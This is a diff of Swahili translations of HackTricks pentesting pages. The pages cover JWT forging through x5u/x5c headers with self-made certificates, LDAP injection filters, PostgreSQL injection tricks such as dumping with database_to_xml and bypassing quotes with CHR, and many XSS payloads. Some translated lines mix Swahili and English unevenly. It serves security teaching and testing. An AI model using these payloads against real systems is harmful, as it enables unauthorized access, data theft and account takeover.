openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -169,9 +169,9 @@ print("e:", hex(key.e))
|
|||
|
||||
X.509 URL. URI inayopointia seti ya X.509 (kiwango cha muundo wa cheti) vyeti vya umma vilivyoandikwa kwa mfumo wa PEM. Cheti cha kwanza katika seti lazima kiwe kile kinachotumika kusaini JWT hii. Vyeti vinavyofuata kila kimoja husaini kile kilichopita, hivyo kukamilisha mnyororo wa vyeti. X.509 imefafanuliwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamasisha vyeti.
|
||||
|
||||
Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na kuangalia kama ombi lolote linapokelewa. Katika hali hiyo, **unaweza kuingilia JWT**.
|
||||
Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na kuangalia kama ombi lolote linapokelewa. Katika hali hiyo, **unaweza kubadilisha JWT**.
|
||||
|
||||
Ili kutunga token mpya kwa kutumia cheti kinachodhibitiwa na wewe, unahitaji kuunda cheti na kutoa funguo za umma na za faragha:
|
||||
Ili kutunga token mpya kwa kutumia cheti kinachodhibitiwa na wewe, unahitaji kuunda cheti na kutoa funguo za umma na za kibinafsi:
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
|
@ -180,7 +180,7 @@ Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na
|
|||
|
||||
.png>)
|
||||
|
||||
Pia unaweza kutumia udhaifu huu **kwa SSRFs**.
|
||||
Pia unaweza kutumia udhaifu hizi **kwa SSRFs**.
|
||||
|
||||
#### x5c
|
||||
|
||||
|
@ -188,7 +188,7 @@ Parameter hii inaweza kuwa na **cheti katika base64**:
|
|||
|
||||
.png>)
|
||||
|
||||
Ikiwa mshambuliaji **anaunda cheti kilichojisaini mwenyewe** na kuunda token iliyofanywa kwa kutumia funguo za faragha zinazohusiana na kubadilisha thamani ya parameter "x5c" na cheti kipya kilichoundwa na kubadilisha parameta zingine, yaani n, e na x5t basi kimsingi token iliyofanywa itakubaliwa na seva.
|
||||
Ikiwa mshambuliaji **anazalisha cheti kilichojisaini mwenyewe** na kuunda token iliyofanywa kwa kutumia funguo za faragha zinazohusiana na kubadilisha thamani ya parameter "x5c" na cheti kilichozalishwa upya na kubadilisha parameta zingine, yaani n, e na x5t basi kimsingi token iliyofanywa itakubaliwa na seva.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -246,7 +246,7 @@ However, imagine a situation where the maximun length of the ID is 4 (0001-9999)
|
|||
|
||||
**Cross-service Relay Attacks**
|
||||
|
||||
Imekuwa ikionekana kwamba baadhi ya programu za wavuti zinategemea huduma ya JWT iliyoaminika kwa ajili ya utengenezaji na usimamizi wa token zao. Matukio yameandikwa ambapo token, iliyotengenezwa kwa mteja mmoja na huduma ya JWT, ilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unashuhudiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kujaribu kupeleka token iliyopatikana katika ombi kwa lengo ili kuona ikiwa inakubaliwa.
|
||||
Imekuwa ikionekana kwamba baadhi ya programu za wavuti zinategemea huduma ya JWT iliyoaminika kwa ajili ya utengenezaji na usimamizi wa token zao. Matukio yameandikwa ambapo token, iliyotengenezwa kwa mteja mmoja na huduma ya JWT, ilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unashuhudiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kujaribu token iliyopatikana katika ombi kwa lengo ili kuona ikiwa inakubaliwa.
|
||||
|
||||
* Tatizo muhimu linaweza kuonyeshwa na kukubaliwa kwa token yako, ambayo inaweza kuruhusu udanganyifu wa akaunti ya mtumiaji yeyote. Hata hivyo, inapaswa kuzingatiwa kwamba ruhusa ya majaribio mapana inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia katika eneo la sheria lenye kivuli.
|
||||
|
||||
|
@ -260,7 +260,7 @@ The token's expiry is checked using the "exp" Payload claim. Given that JWTs are
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png" a
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhack - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -33,7 +33,7 @@ Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunataf
|
|||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**LDAP Injection** ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii inatokea wakati programu **inashindwa kusafisha** pembejeo ipasavyo, ikiruhusu washambuliaji **kubadilisha taarifa za LDAP** kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data.
|
||||
**LDAP Injection** ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii hutokea wakati programu **inashindwa kusafisha** pembejeo ipasavyo, ikiruhusu washambuliaji **kubadilisha taarifa za LDAP** kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data.
|
||||
|
||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
|
@ -59,19 +59,19 @@ Kwa mfano:\
|
|||
|
||||
Unaweza kufikia hifadhidata, na hii inaweza kuwa na taarifa za aina nyingi tofauti.
|
||||
|
||||
**OpenLDAP**: Ikiwa filters 2 zinakuja, inatekeleza ya kwanza tu.\
|
||||
**ADAM au Microsoft LDS**: Kwa filters 2 wanatupa kosa.\
|
||||
**SunOne Directory Server 5.0**: Tekeleza filters zote mbili.
|
||||
**OpenLDAP**: Ikiwa vichujio 2 vinakuja, inatekeleza tu cha kwanza.\
|
||||
**ADAM au Microsoft LDS**: Kwa vichujio 2 wanatoa kosa.\
|
||||
**SunOne Directory Server 5.0**: Tekeleza vichujio vyote viwili.
|
||||
|
||||
**Ni muhimu sana kutuma filter kwa sintaksia sahihi au kosa litatupwa. Ni bora kutuma filter 1 tu.**
|
||||
**Ni muhimu sana kutuma kichujio chenye sintaksia sahihi au kosa litatokea. Ni bora kutuma kichujio kimoja tu.**
|
||||
|
||||
Filter inapaswa kuanza na: `&` au `|`\
|
||||
Kichujio kinapaswa kuanza na: `&` au `|`\
|
||||
Mfano: `(&(directory=val1)(folder=public))`
|
||||
|
||||
`(&(objectClass=VALUE1)(type=Epson*))`\
|
||||
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
|
||||
|
||||
Kisha: `(&(objectClass=`**`*)(ObjectClass=*))`** itakuwa filter ya kwanza (iliyotekelezwa).
|
||||
Kisha: `(&(objectClass=`**`*)(ObjectClass=*))`** itakuwa kichujio cha kwanza (kilichotekelezwa).
|
||||
|
||||
### Login Bypass
|
||||
|
||||
|
@ -224,9 +224,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
Ikiwa unavutiwa na **hacking career** na kujaribu kuvunja yasiyoweza kuvunjika - **tunatafuta wafanyakazi!** (_uandishi na kuzungumza kwa kiswahili fasaha inahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -10,20 +10,20 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
***
|
||||
|
||||
**Ukuran huu unalenga kuelezea mbinu tofauti ambazo zinaweza kukusaidia kutumia SQLinjection iliyopatikana katika hifadhidata ya postgresql na kukamilisha mbinu ambazo unaweza kupata kwenye** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
**Ukurasa huu unalenga kuelezea mbinu tofauti ambazo zinaweza kukusaidia kutumia SQLinjection iliyopatikana katika hifadhidata ya postgresql na kukamilisha mbinu ambazo unaweza kupata kwenye** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
|
||||
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
||||
|
||||
|
@ -65,7 +65,7 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
|
|||
```
|
||||
**database\_to\_xml**
|
||||
|
||||
Hii kazi itatoa hifadhidata nzima katika muundo wa XML katika safu 1 tu (kuwa makini ikiwa hifadhidata ni kubwa sana kwani unaweza kuisababisha DoS au hata mteja wako mwenyewe):
|
||||
Hii kazi itatoa hifadhidata nzima katika muundo wa XML kwa mstari 1 tu (kuwa makini ikiwa hifadhidata ni kubwa sana kwani unaweza kuisababisha DoS au hata mteja wako mwenyewe):
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
|
@ -87,7 +87,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
|||
|
||||
### Nukuu zilizokatazwa
|
||||
|
||||
Ikiwa huwezi kutumia nukuu kwa payload yako unaweza kupita hii kwa `CHR` kwa masharti ya msingi (_kuunganisha wahusika kunafanya kazi tu kwa maswali ya msingi kama vile SELECT, INSERT, DELETE, nk. Hii haifanyi kazi kwa taarifa zote za SQL_):
|
||||
Ikiwa huwezi kutumia nukuu kwa payload yako unaweza kupita hii kwa `CHR` kwa masharti ya msingi (_kuunganisha wahusika kunafanya kazi tu kwa maswali ya msingi kama vile SELECT, INSERT, DELETE, nk. Hakiifanyi kazi kwa taarifa zote za SQL_):
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
|
@ -97,9 +97,9 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -112,7 +112,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za uhalifu wa mtandao kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kiholanzi kunahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -18,7 +18,7 @@ Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza
|
|||
3. Je, unaweza kupita ulinzi?
|
||||
4. Je, maudhui ya HTML yanatafsiriwa na injini yoyote ya JS upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza JS code, unaweza kutumia [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
|
||||
2. Ndani ya **vitambulisho vya HTML**:
|
||||
2. Ndani ya **HTML tag**:
|
||||
1. Je, unaweza kutoka kwenye muktadha wa HTML safi?
|
||||
2. Je, unaweza kuunda matukio/mapitio mapya ili kutekeleza JS code?
|
||||
3. Je, sifa ambapo umekwama inasaidia utekelezaji wa JS?
|
||||
|
@ -31,7 +31,7 @@ Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza
|
|||
4. Javascript **function** inayo **tekelezwa**
|
||||
1. Unaweza kuashiria jina la kazi ya kutekeleza. e.g.: `?callback=alert(1)`
|
||||
4. Ikiwa **inatumiwa**:
|
||||
1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linadhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.**
|
||||
1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linavyodhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.**
|
||||
|
||||
Unapofanya kazi kwenye XSS ngumu unaweza kupata ni ya kuvutia kujua kuhusu:
|
||||
|
||||
|
@ -41,31 +41,31 @@ Unapofanya kazi kwenye XSS ngumu unaweza kupata ni ya kuvutia kujua kuhusu:
|
|||
|
||||
## Reflected values
|
||||
|
||||
Ili kufanikiwa kutumia XSS jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe inayorudi** kwenye ukurasa wa wavuti.
|
||||
Ili kufanikiwa kutumia XSS, jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe ambayo inarudi** kwenye ukurasa wa wavuti.
|
||||
|
||||
* **Inarudi kwa kati**: Ikiwa unapata kwamba thamani ya parameta au hata njia inarudi kwenye ukurasa wa wavuti unaweza kutumia **Reflected XSS**.
|
||||
* **Ilihifadhiwa na kurudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
|
||||
* **Ilihifadhiwa na inarudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
|
||||
* **Inafikiwa kupitia JS**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe inafikiwa kwa kutumia JS unaweza kutumia **DOM XSS**.
|
||||
|
||||
## Contexts
|
||||
|
||||
Unapojaribu kutumia XSS jambo la kwanza unahitaji kujua ni **wapi ingizo lako linaporudi**. Kulingana na muktadha, utaweza kutekeleza JS code isiyo na mipaka kwa njia tofauti.
|
||||
Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linavyorudi**. Kulingana na muktadha, utaweza kutekeleza JS code bila mipaka kwa njia tofauti.
|
||||
|
||||
### Raw HTML
|
||||
|
||||
Ikiwa ingizo lako **linarudi kwenye HTML safi** ukurasa utahitaji kutumia baadhi ya **vitambulisho vya HTML** ili kutekeleza JS code: `<img , <iframe , <svg , <script` ... haya ni baadhi tu ya vitambulisho vingi vya HTML ambavyo unaweza kutumia.\
|
||||
Ikiwa ingizo lako **linarudi kwenye HTML safi** ukurasa utahitaji kutumia baadhi ya **HTML tag** ili kutekeleza JS code: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya vitambulisho vingi vya HTML ambavyo unaweza kutumia.\
|
||||
Pia, kumbuka [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Ndani ya sifa za vitambulisho vya HTML
|
||||
### Ndani ya sifa za HTML tags
|
||||
|
||||
Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya vitambulisho unaweza kujaribu:
|
||||
Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya tag unaweza kujaribu:
|
||||
|
||||
1. **Kukwepa kutoka kwenye sifa na kutoka kwenye vitambulisho** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
|
||||
2. Ikiwa **unaweza kukwepa kutoka kwenye sifa lakini si kutoka kwenye vitambulisho** (`>` imeandikwa au kufutwa), kulingana na vitambulisho unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
|
||||
3. Ikiwa **huwezi kukwepa kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
|
||||
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. **Kukwepa kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
|
||||
2. Ikiwa **unaweza kukwepa kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
|
||||
3. Ikiwa **huwezi kukwepa kutoka kwenye sifa** (`"` inandikwa au kufutwa), kisha kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
|
||||
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** ili kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Mfano wa ajabu wa Angular inavyotekeleza XSS ikiwa unadhibiti jina la darasa:
|
||||
Mfano wa ajabu wa Angular ikitekeleza XSS ikiwa unadhibiti jina la darasa:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -80,7 +80,7 @@ Katika kesi hii, ingizo lako linarejelewa kati ya **`<script> [...] </script>`**
|
|||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* Ikiwa inarejelewa ndani ya maandiko ya templeti, unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* Ikiwa inarejelewa ndani ya maandiko ya kigezo unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* **Unicode encode** inafanya kazi kuandika **msimbo sahihi wa javascript**:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
|
@ -120,7 +120,7 @@ parentElement
|
|||
```
|
||||
You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
|
||||
|
||||
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions.
|
||||
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **kurasa nyingine katika asili hiyo** will have a **DOM yenye kuvutia zaidi** to perform more actions.
|
||||
|
||||
Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
|
||||
|
||||
|
@ -130,7 +130,7 @@ Therefore, in order to **abuse this vulnerability in a different DOM** the **Sam
|
|||
|
||||
### DOM
|
||||
|
||||
There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.
|
||||
There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href`. An attacker, could abuse this to execute arbitrary JS code.
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -138,8 +138,8 @@ There is **JS code** that is using **unsafely** some **data controlled by an att
|
|||
|
||||
### **Universal XSS**
|
||||
|
||||
These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\
|
||||
Some **examples**:
|
||||
These kind of XSS can be found **popote**. They not depend just on the client exploitation of a web application but on **muktadha** **wowote**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **kusoma** **faili** **za kawaida** in clients and servers, and more.\
|
||||
Some **mfano**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
|
@ -155,7 +155,7 @@ Some **examples**:
|
|||
|
||||
## Injecting inside raw HTML
|
||||
|
||||
When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
|
||||
When your input is reflected **ndani ya ukurasa wa HTML** or you can escape and inject HTML code in this context the **kitu cha kwanza** you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
|
||||
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Note: A HTML comment can be closed using\*\*\*\***** ****`-->`**** ****or \*\*\*\*****`--!>`**_
|
||||
|
||||
|
@ -275,8 +275,8 @@ Ikiwa **huwezi kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag
|
|||
```
|
||||
### Ndani ya sifa
|
||||
|
||||
Hata kama huwezi **kutoroka kutoka kwenye sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarejelewa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wowote unapobofya.\
|
||||
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza msimbo wowote: **`href="javascript:alert(1)"`**
|
||||
Hata kama huwezi **kutoroka kutoka kwenye sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa ipi** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
|
||||
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Kupita ndani ya tukio kwa kutumia HTML encoding/URL encode**
|
||||
|
||||
|
@ -309,9 +309,9 @@ Kumbuka kwamba **aina yoyote ya HTML encode ni halali**:
|
|||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Protokali Maalum Ndani ya sifa
|
||||
### Mipango Maalum Ndani ya sifa
|
||||
|
||||
Hapa unaweza kutumia protokali **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na baadhi hazitahitaji.
|
||||
Hapa unaweza kutumia mipango **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na baadhi hazitahitaji.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
